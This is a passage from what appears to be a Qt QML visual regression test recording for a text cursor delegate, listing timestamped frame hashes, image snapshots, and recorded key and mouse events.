16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1648 - hash: "24c376d5a2b3555126b156c8bc7a7a0c" - } - Frame { - msec: 1664 - hash: "d9c35de8b02f11db321d9bdcdcd65403" - } - Frame { - msec: 1680 - hash: "0b32a66497ec3cdd05dc27c0ef9c5718" - } - Frame { - msec: 1696 - hash: "9626f80ef170af2db135792337203265" - } - Frame { - msec: 1712 - hash: "6e4ce7599da579f764ff10e982888889" - } - Frame { - msec: 1728 - hash: "5ad4dd681be780c0068734ca5c722507" - } - Key { - type: 7 - key: 16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1744 - hash: "7d620ef53049f9195cc832d6f9dfd52b" - } - Frame { - msec: 1760 - hash: "0f54144c574af01958505eedd69162f6" - } - Frame { - msec: 1776 - hash: "50f168354e3901283708a4ae9088783d" - } - Frame { - msec: 1792 - hash: "c55fdf2fd0a4eeb9ca0e3072aa3e60c4" - } - Frame { - msec: 1808 - hash: "d351de13e7bb5b273ec3aebb88dffbd5" - } - Frame { - msec: 1824 - hash: "977d44194d1ef05801167157714891af" - } - Frame { - msec: 1840 - hash: "ef3694ca78764709abbe2f8781578fb4" - } - Frame { - msec: 1856 - hash: "77afbc0e0b828d03148ed7fe342dfbda" - } - Frame { - msec: 1872 - hash: "0d94e37430d8b835e65750a6af525ef7" - } - Frame { - msec: 1888 - hash: "e009a8d2cb7c7f1200055666cf2efd9c" - } - Frame { - msec: 1904 - hash: "096a2742962d7b22dba768577373e656" - } - Frame { - msec: 1920 - image: "cursorDelegate.1.png" - } - Frame { - msec: 1936 - hash: "905b6c7ab24fd1a12f17494fc1935e98" - } - Frame { - msec: 1952 - hash: "9bc98b4a32ea933fcc3a40eaae9b3516" - } - Frame { - msec: 1968 - hash: "70f0313540b3517f3b6d403c3ab1199c" - } - Frame { - msec: 1984 - hash: "309ae1af1ef7dbaf0b892ad60fd3eb93" - } - Frame { - msec: 2000 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 2016 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 2032 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 2048 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 2064 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 2080 - hash: "309ae1af1ef7dbaf0b892ad60fd3eb93" - } - Frame { - msec: 2096 - hash: "70f0313540b3517f3b6d403c3ab1199c" - } - Frame { - msec: 2112 - hash: "9bc98b4a32ea933fcc3a40eaae9b3516" - } - Key { - type: 6 - key: 16777248 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2128 - hash: "905b6c7ab24fd1a12f17494fc1935e98" - } - Frame { - msec: 2144 - hash: "31adf3a3bfbd1083c50cae7ed5d64334" - } - Frame { - msec: 2160 - hash: "096a2742962d7b22dba768577373e656" - } - Frame { - msec: 2176 - hash: "e009a8d2cb7c7f1200055666cf2efd9c" - } - Frame { - msec: 2192 - hash: "0d94e37430d8b835e65750a6af525ef7" - } - Frame { - msec: 2208 - hash: "77afbc0e0b828d03148ed7fe342dfbda" - } - Frame { - msec: 2224 - hash: "ef3694ca78764709abbe2f8781578fb4" - } - Frame { - msec: 2240 - hash: "977d44194d1ef05801167157714891af" - } - Frame { - msec: 2256 - hash: "d351de13e7bb5b273ec3aebb88dffbd5" - } - Frame { - msec: 2272 - hash: "c55fdf2fd0a4eeb9ca0e3072aa3e60c4" - } - Frame { - msec: 2288 - hash: "50f168354e3901283708a4ae9088783d" - } - Frame { - msec: 2304 - hash: "0f54144c574af01958505eedd69162f6" - } - Frame { - msec: 2320 - hash: "7d620ef53049f9195cc832d6f9dfd52b" - } - Key { - type: 6 - key: 16777232 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2336 - hash: "03e906dfb3bf98f521d805331d3b5b9c" - } - Frame { - msec: 2352 - hash: "c2376393ea9541b909b6b4fe188fa03e" - } - Frame { - msec: 2368 - hash: "9b3935370412c75acdf6e91100cf2f53" - } - Frame { - msec: 2384 - hash: "30ab7913bdfc51d2df5ab9f3863d28c7" - } - Frame { - msec: 2400 - hash: "593656e93d6e01419002dbb581aa6cbd" - } - Frame { - msec: 2416 - hash: "33800dd560e44ce39d6325bbdee689de" - } - Frame { - msec: 2432 - hash: "c41a9c4f08053d5d18fb2d530ed8b5ad" - } - Key { - type: 7 - key: 16777232 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2448 - hash: "b3f2d4a2cb9a9d1304a2a2d07ad41ff2" - } - Frame { - msec: 2464 - hash: "93cf7fe53bc1fd749c523d40b27d17b4" - } - Frame { - msec: 2480 - hash: "6e9226d01dd93cff763e851148da8dfd" - } - Frame { - msec: 2496 - hash: "79fdbda495bbc6c9ae8be03e1467de92" - } - Frame { - msec: 2512 - hash: "c30fc0fa9351dbcdbe4f2a297cba9a52" - } - Frame { - msec: 2528 - hash: "eaf26162fd5ce42262ea08ef39a7123d" - } - Frame { - msec: 2544 - hash: "7bf0d6a5753a60eefae6d3c3819fabe4" - } - Frame { - msec: 2560 - hash: "a2ee3a3b9cd22d7c0e54524cad32e647" - } - Frame { - msec: 2576 - hash: "822298cfc4e2d64db1bf3e442dd891e6" - } - Frame { - msec: 2592 - hash: "d075c64000b045eae1b42dce701787b7" - } - Frame { - msec: 2608 - hash: "5ca7f15af781f896c83c81077f6b072e" - } - Frame { - msec: 2624 - hash: "7d0f14896e67c56ed5238472dc127cb1" - } - Frame { - msec: 2640 - hash: "dca161e8a9d786ba9d50aa655ccbecd3" - } - Frame { - msec: 2656 - hash: "73bfcb0f5104efd056f25f7d73126369" - } - Frame { - msec: 2672 - hash: "0090459043b05bf9504434f36230b32b" - } - Frame { - msec: 2688 - hash: "f64315858f375c6ded480b2017fc18a5" - } - Frame { - msec: 2704 - hash: "fe4c0ecfa9779c9fe052d4ffc9386d46" - } - Frame { - msec: 2720 - hash: "849ad15f0ca893881165e956e8a26174" - } - Frame { - msec: 2736 - hash: "c4373fa63ed00832c70a6b94cb729397" - } - Frame { - msec: 2752 - hash: "0c7e08fb7f0dd954b0f171a37ef2a310" - } - Frame { - msec: 2768 - hash: "505071572df7aa300a675f8a808bc7f4" - } - Frame { - msec: 2784 - hash: "52839867e81d52746196f299a8371453" - } - Key { - type: 7 - key: 16777248 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2800 - hash: "c4d214a7e0fc52c2a45fc6e3df12550a" - } - Frame { - msec: 2816 - hash: "f1fa48d796667bd053fff4af7ec1d8ce" - } - Frame { - msec: 2832 - hash: "081e46decc8aba911f018acfd761cda1" - } - Frame { - msec: 2848 - hash: "fa417c9bfda1da66320a8e59fbaeb5b6" - } - Frame { - msec: 2864 - hash: "83dfa353fd20f3bf7caa8e6ca9a9933c" - } - Frame { - msec: 2880 - image: "cursorDelegate.2.png" - } - Frame { - msec: 2896 - hash: "c11459b1d3e51f3d2f5bd30049bcca42" - } - Frame { - msec: 2912 - hash: "997ff3fa82ba2fb27a9c41ed9abe8991" - } - Frame { - msec: 2928 - hash: "f8baaadde147266416c9ab3f9d9106ce" - } - Frame { - msec: 2944 - hash: "79d1d34fd343d8de631aa3259167fe26" - } - Frame { - msec: 2960 - hash: "8b1445ca6131a0fc4377ded24a60186a" - } - Frame { - msec: 2976 - hash: "784cc01604ecadf74a45164f73f0336d" - } - Frame { - msec: 2992 - hash: "b9aeac2be5c8e16e7938e141f32776be" - } - Frame { - msec: 3008 - hash: "b9aeac2be5c8e16e7938e141f32776be" - } - Frame { - msec: 3024 - hash: "b9aeac2be5c8e16e7938e141f32776be" - } - Frame { - msec: 3040 - hash: "b9aeac2be5c8e16e7938e141f32776be" - } - Frame { - msec: 3056 - hash: "b9aeac2be5c8e16e7938e141f32776be" - } - Frame { - msec: 3072 - hash: "b9aeac2be5c8e16e7938e141f32776be" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3088 - hash: "00dfc5f4468482cb5f74e62be235b1d2" - } - Frame { - msec: 3104 - hash: "62bc9c57724f7ab6bcf7d75d8ff68097" - } - Frame { - msec: 3120 - hash: "ad65de5a6887c0a31a9d8f72a2a651db" - } - Frame { - msec: 3136 - hash: "75e854ccaad087bfe776a843f0bd7284" - } - Frame { - msec: 3152 - hash: "1e3f580f37a0dc063a383bdf435e85ea" - } - Frame { - msec: 3168 - hash: "3d78320cb021944d7c6cee1a42056663" - } - Frame { - msec: 3184 - hash: "fca865f762c1a6cc3e487e0e908eef73" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3200 - hash: "fb7ad9156658f3866d19e43f006cf013" - } - Frame { - msec: 3216 - hash: "6f7411363c66d0959ea5a16a9b610e61" - } - Frame { - msec: 3232 - hash: "a33dce3c55b1b1541cfb9b85a75fcb53" - } - Frame { - msec: 3248 - hash: "56b81435dc4ce193bb98c3d02c781242" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3264 - hash: "59865194eb63465dd0f3925c7a500340" - } - Frame { - msec: 3280 - hash: "38abc77b2361ce257d39c0cf268ba42b" - } - Frame { - msec: 3296 - hash: "2b91dcef1b3ca66059dd9db4c8e335f3" - } - Frame { - msec: 3312 - hash: "70c827f1b34b44cbd775b666913556d6" - } - Frame { - msec: 3328 - hash: "8ca757a4fd1987329488f63251b0f6b4" - } - Frame { - msec: 3344 - hash: "0da2c1cd0138172698a3bee5d19168c5" - } - Frame { - msec: 3360 - hash: "8d71c418593eb3e4834d5e608ffd3f29" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3376 - hash: "35c0d55cda3a02eb4c441a5832bcbbf4" - } - Frame { - msec: 3392 - hash: "4e7374a683050ff440056b6e7c971d2b" - } - Frame { - msec: 3408 - hash: "6310b65572e39256122c7620f7e87442" - } - Frame { - msec: 3424 - hash: "d882fe91d9df9862d620cf984e27d0bd" - } - Frame { - msec: 3440 - hash: "97549f388c02adb8884c2e79510adc7e" - } - Frame { - msec: 3456 - hash: "60a60e06237318bf005f87bbba386fef" - } - Frame { - msec: 3472 - hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" - } - Frame { - msec: 3488 - hash: "eacfa8db605b9e386a55508e8943e7d1" - } - Frame { - msec: 3504 - hash: "e0826ff09b628a5e3ddf6d9e5593f937" - } - Frame { - msec: 3520 - hash: "2aec32493055ad17f4aac9b3c9b84c5f" - } - Frame { - msec: 3536 - hash: "c0e72cdf776b0c62742aa9c3683cd523" - } - Frame { - msec: 3552 - hash: "ea3f512181b3ee94d8cdd4d9f59ed962" - } - Frame { - msec: 3568 - hash: "de924155855e76d0591217448f79bdb6" - } - Frame { - msec: 3584 - hash: "51da770a75102de9ad1920f1f6c44146" - } - Frame { - msec: 3600 - hash: "e3c0e8f6385ef2ab9b671be3243774c4" - } - Frame { - msec: 3616 - hash: "eac6de65ea6726f0cc50b6d30c1b7ba5" - } - Frame { - msec: 3632 - hash: "2ee111386bd646c4ee577405e490a2f7" - } - Frame { - msec: 3648 - hash: "fe95122352effcf1815bc237fc6ce6ab" - } - Frame { - msec: 3664 - hash: "e3bb1ec3b84df25712f06e0d6963efdd" - } - Frame { - msec: 3680 - hash: "a10d3184acc85c46e171fe4cf82e1c23" - } - Frame { - msec: 3696 - hash: "d566b2763312e5e823593806acd9e809" - } - Frame { - msec: 3712 - hash: "7db073b7487ddea48e7c9df8b9bfdc00" - } - Frame { - msec: 3728 - hash: "85c663b943f67d158367dba0508980a5" - } - Frame { - msec: 3744 - hash: "6336ce0d912ee63773475c4c6c5d59be" - } - Frame { - msec: 3760 - hash: "c75ba80484af36633b6a4d17b666b1c9" - } - Frame { - msec: 3776 - hash: "08b7d4eef2d15bc717ff1a981a11f275" - } - Frame { - msec: 3792 - hash: "0ab8bebb0e43786a7e51ea780745080c" - } - Frame { - msec: 3808 - hash: "6fa1811f520eff9893b3c7b00e53fa7d" - } - Frame { - msec: 3824 - hash: "6feb44655bfbec651cc2902676bd08b4" - } - Frame { - msec: 3840 - image: "cursorDelegate.3.png" - } - Frame { - msec: 3856 - hash: "00b7714df163d8055514e0dbd8a83bac" - } - Frame { - msec: 3872 - hash: "6ef2a330d70a7e0ce343bb352c46f126" - } - Frame { - msec: 3888 - hash: "f4e26309fa3b8a6d55f44bf146544101" - } - Frame { - msec: 3904 - hash: "dfa1e24149f2662a4a552da3bb64348c" - } - Frame { - msec: 3920 - hash: "9ab9d6ef4aeb5863401a9e251f684e2d" - } - Frame { - msec: 3936 - hash: "c9f7591a37a3743b3b48de5337fd2fa0" - } - Frame { - msec: 3952 - hash: "2d38f17db530050574d9192c805c142d" - } - Frame { - msec: 3968 - hash: "38a4ad2cf9fa3015eff67014900a44cc" - } - Frame { - msec: 3984 - hash: "9d9ce4ac0de6caa2f0bb78eac414ba65" - } - Frame { - msec: 4000 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 4016 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 4032 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 4048 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 4064 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 4080 - hash: "9d9ce4ac0de6caa2f0bb78eac414ba65" - } - Frame { - msec: 4096 - hash: "38a4ad2cf9fa3015eff67014900a44cc" - } - Frame { - msec: 4112 - hash: "2d38f17db530050574d9192c805c142d" - } - Frame { - msec: 4128 - hash: "c9f7591a37a3743b3b48de5337fd2fa0" - } - Frame { - msec: 4144 - hash: "9ab9d6ef4aeb5863401a9e251f684e2d" - } - Frame { - msec: 4160 - hash: "dfa1e24149f2662a4a552da3bb64348c" - } - Frame { - msec: 4176 - hash: "f4e26309fa3b8a6d55f44bf146544101" - } - Frame { - msec: 4192 - hash: "6ef2a330d70a7e0ce343bb352c46f126" - } - Frame { - msec: 4208 - hash: "00b7714df163d8055514e0dbd8a83bac" - } - Frame { - msec: 4224 - hash: "ae46d672649a4b0fc5171f776af93a2c" - } - Frame { - msec: 4240 - hash: "6feb44655bfbec651cc2902676bd08b4" - } - Frame { - msec: 4256 - hash: "6fa1811f520eff9893b3c7b00e53fa7d" - } - Frame { - msec: 4272 - hash: "0ab8bebb0e43786a7e51ea780745080c" - } - Frame { - msec: 4288 - hash: "08b7d4eef2d15bc717ff1a981a11f275" - } - Frame { - msec: 4304 - hash: "c75ba80484af36633b6a4d17b666b1c9" - } - Frame { - msec: 4320 - hash: "6336ce0d912ee63773475c4c6c5d59be" - } - Frame { - msec: 4336 - hash: "85c663b943f67d158367dba0508980a5" - } - Frame { - msec: 4352 - hash: "7db073b7487ddea48e7c9df8b9bfdc00" - } - Frame { - msec: 4368 - hash: "d566b2763312e5e823593806acd9e809" - } - Frame { - msec: 4384 - hash: "a10d3184acc85c46e171fe4cf82e1c23" - } - Frame { - msec: 4400 - hash: "e3bb1ec3b84df25712f06e0d6963efdd" - } - Frame { - msec: 4416 - hash: "fe95122352effcf1815bc237fc6ce6ab" - } - Frame { - msec: 4432 - hash: "2ee111386bd646c4ee577405e490a2f7" - } - Frame { - msec: 4448 - hash: "eac6de65ea6726f0cc50b6d30c1b7ba5" - } - Frame { - msec: 4464 - hash: "e3c0e8f6385ef2ab9b671be3243774c4" - } - Frame { - msec: 4480 - hash: "51da770a75102de9ad1920f1f6c44146" - } - Frame { - msec: 4496 - hash: "de924155855e76d0591217448f79bdb6" - } - Frame { - msec: 4512 - hash: "ea3f512181b3ee94d8cdd4d9f59ed962" - } - Frame { - msec: 4528 - hash: "c0e72cdf776b0c62742aa9c3683cd523" - } - Frame { - msec: 4544 - hash: "2aec32493055ad17f4aac9b3c9b84c5f" - } - Frame { - msec: 4560 - hash: "e0826ff09b628a5e3ddf6d9e5593f937" - } - Frame { - msec: 4576 - hash: "eacfa8db605b9e386a55508e8943e7d1" - } - Frame { - msec: 4592 - hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" - } - Frame { - msec: 4608 - hash: "60a60e06237318bf005f87bbba386fef" - } - Frame { - msec: 4624 - hash: "97549f388c02adb8884c2e79510adc7e" - } - Frame { - msec: 4640 - hash: "d882fe91d9df9862d620cf984e27d0bd" - } - Frame { - msec: 4656 - hash: "6310b65572e39256122c7620f7e87442" - } - Frame { - msec: 4672 - hash: "4e7374a683050ff440056b6e7c971d2b" - } - Frame { - msec: 4688 - hash: "35c0d55cda3a02eb4c441a5832bcbbf4" - } - Frame { - msec: 4704 - hash: "8d71c418593eb3e4834d5e608ffd3f29" - } - Frame { - msec: 4720 - hash: "0da2c1cd0138172698a3bee5d19168c5" - } - Frame { - msec: 4736 - hash: "8ca757a4fd1987329488f63251b0f6b4" - } - Frame { - msec: 4752 - hash: "70c827f1b34b44cbd775b666913556d6" - } - Frame { - msec: 4768 - hash: "2b91dcef1b3ca66059dd9db4c8e335f3" - } - Frame { - msec: 4784 - hash: "38abc77b2361ce257d39c0cf268ba42b" - } - Frame { - msec: 4800 - image: "cursorDelegate.4.png" - } - Frame { - msec: 4816 - hash: "7bed5747d6b771db0fe5802153e54f2f" - } - Frame { - msec: 4832 - hash: "9ac1bf268749bc8e58bc4d04b55ef849" - } - Frame { - msec: 4848 - hash: "64ea5cb46782d250c46a7a2c8cceea20" - } - Frame { - msec: 4864 - hash: "d81037eb21bfcb434b6c7f3bbd21ad12" - } - Frame { - msec: 4880 - hash: "1079ea3a1a62e2cca9a8e907bc5aa4e1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 130; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4896 - hash: "3d78320cb021944d7c6cee1a42056663" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 130; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4912 - hash: "1e3f580f37a0dc063a383bdf435e85ea" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 131; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4928 - hash: "75e854ccaad087bfe776a843f0bd7284" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 132; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4944 - hash: "ad65de5a6887c0a31a9d8f72a2a651db" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 133; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 134; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4960 - hash: "62bc9c57724f7ab6bcf7d75d8ff68097" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 135; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4976 - hash: "00dfc5f4468482cb5f74e62be235b1d2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 136; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4992 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 137; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 138; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5008 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 139; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5024 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5040 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 141; y: 100 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 143; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5056 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5072 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 146; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5088 - hash: "748dc58a3ad83d7b99d7b26ad2f82786" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 148; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 149; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5104 - hash: "242cc0ee7c3bdb44e8933068d3a93b61" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 150; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5120 - hash: "3be6f0a35fb085dcf6c9481cf1c23f9d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 151; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5136 - hash: "a6f63267eaba9aefd2c9ab338571ef33" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5152 - hash: "ba37dd9ba649e294465dc707f6b768ec" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 153; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5168 - hash: "35b186609721ec0b8a121d15bc54ce49" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5184 - hash: "700ff15e4e48af93362455a149d90363" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 155; y: 98 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 156; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5200 - hash: "1c51eb8d4d25d086bda4d595a49c3a86" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5216 - hash: "2f085b047d24384d463163df7fac2bd3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 158; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5232 - hash: "46d7aff6eb47e50e23c061ecb149fbf9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 98 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 161; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5248 - hash: "48d7a8f749f7501dbaa4599ca41096a5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5264 - hash: "4c2a085c69c118fedfa15fe46cdc508b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 164; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5280 - hash: "25f25828a4d22fe85db0de5c562f658e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 96 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 168; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5296 - hash: "e9fb14ec21e9ec1235d2fea6e055b69d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 170; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5312 - hash: "66417881aeb85778be66566241c45f5a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5328 - hash: "c8c136690ffd8e5cc3e58f7376693b4f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 96 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 178; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5344 - hash: "c58c4fb5b7197cd8bd95742dc8715bbf" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 179; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5360 - hash: "2e0c93380883fcf2d0e56024fecba605" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 180; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5376 - hash: "5f169f09e3d868eb0425a331d4bc3144" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 182; y: 95 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 183; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5392 - hash: "ed648742be4b0ded04e713e83ed24b27" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 185; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5408 - hash: "92131288bb38480469f4578282dedaf8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 187; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5424 - hash: "e16773f750bb0f635552b1eeadb2d625" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 189; y: 93 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 191; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5440 - hash: "6e653cd552d82f38f30b8027d1951534" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 192; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5456 - hash: "cfc1d6efa8d1b3b86396704f0be031ad" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 194; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5472 - hash: "5848af73f5ab7c811639a6d01921d502" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 196; y: 92 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5488 - hash: "3823e7da05678f63e6761a81ed7233e2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 199; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5504 - hash: "d095abe9814a60824914960a11663f12" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 91 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5520 - hash: "18922bb3269d903a36e0b690249b473a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 91 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 201; y: 90 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5536 - hash: "4d8400a3ca2b782e7b054bb2f71d4543" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 202; y: 89 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5552 - hash: "24ed25d7a767f01fb02f545fc6c6931a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5568 - hash: "55fb16784e3655ae70f97d6c32853cdc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 204; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5584 - hash: "694e6979f0de62b61324dc4b144a2d5d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 207; y: 86 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 208; y: 85 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5600 - hash: "e61b8b03251f6312e3de4e0c8af684d5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 210; y: 85 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5616 - hash: "6203321f87d53692dbb2b2aaf7dd3944" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5632 - hash: "297b77029475d77cd8e481199b23da30" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 213; y: 84 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 214; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5648 - hash: "414615d772b4c80bf85eabfdca6fd0e0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5664 - hash: "46d70882552a21267eebb3505da086f3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5680 - hash: "372acafc63624307bcb384c48a803ab7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 84 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5696 - hash: "1b98094dd4f192af8229b7058b8ce396" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - 